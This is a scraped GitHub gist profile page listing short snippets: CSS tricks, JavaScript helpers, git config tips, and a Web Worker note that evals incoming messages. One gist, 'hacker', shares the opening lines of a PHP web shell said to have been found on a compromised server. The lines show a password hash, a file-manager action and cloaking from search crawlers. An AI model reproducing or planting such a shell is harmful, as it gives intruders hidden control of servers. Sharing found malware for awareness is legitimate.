Skip to content

Instantly share code, notes, and snippets.

View jalbertbowden's full-sized avatar

albert jalbertbowden

View GitHub Profile
<?php
class CalendarEvent {
/**
*
* The event ID
* @var string
*/
private $uid;

#State of the Web Worker (api)

I just did a rewrite of my communist library with a focus on compatability.

Opera and safari 5 don't support URL.createObjectURL while IE 10 considers them another origin meaning (i.e. can't make a worker out of it). I got around this with:

if (typeof document === "undefined") {
  self.onmessage=function(e){
      eval(e.data);	
  }
@jalbertbowden
jalbertbowden / hacker
Created May 15, 2013 23:59 — forked from anonymous/hacker
code that dude found in his hacked box; via https://gist.github.com/anonymous/5587766
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@jalbertbowden
jalbertbowden / dabblet.css
Created July 14, 2013 20:59 — forked from chriscoyier/dabblet.css
Checkbox Hack
/* Checkbox Hack */
input[type=checkbox] {
position: absolute;
top: -9999px;
left: -9999px;
}
label {
-webkit-appearance: push-button;
-moz-appearance: button;
/**********************************************************
* jQuery-less version of Chris Coyier's
* Value Bubbles for Range Inputs
* http://css-tricks.com/value-bubbles-for-range-inputs/
**********************************************************/
function modifyOffset() {
var el, newPoint, newPlace, offset, siblings, k;
width = this.offsetWidth;
newPoint = (this.value - this.getAttribute("min")) / (this.getAttribute("max") - this.getAttribute("min"));
@media (min--moz-device-pixel-ratio: 1.5),
(-o-min-device-pixel-ratio: 3/2),
(-webkit-min-device-pixel-ratio: 1.5),
(min-device-pixel-ratio: 1.5),
(min-resolution: 1.5dppx) {
/* "retina" styles */
}
@jalbertbowden
jalbertbowden / gist:6191080
Created August 9, 2013 03:56 — forked from dmethvin/gist:1676346
Breakpoint on access to a property
function debugAccess(obj, prop, debugGet){
var origValue = obj[prop];
Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8 />
<title>JS Bin</title>
</head>
<body>
<h2>Original CSS</h2>
<style style="display: block; white-space: pre; font-family: monospace">
h2 { margin:0; }
@-ms-viewport{
width: device-width;
}
# Add a little color to your git cli
git config --global color.ui auto
# Git will automatically manage line endings for you if you set autocrlf option
# on a mac / linux machine you'll want do this
git config --global core.autocrlf input
# one a windows machine you'll want to do this
git config --global core.autocrlf true
# Instead of just showing highlighting the entire line that changed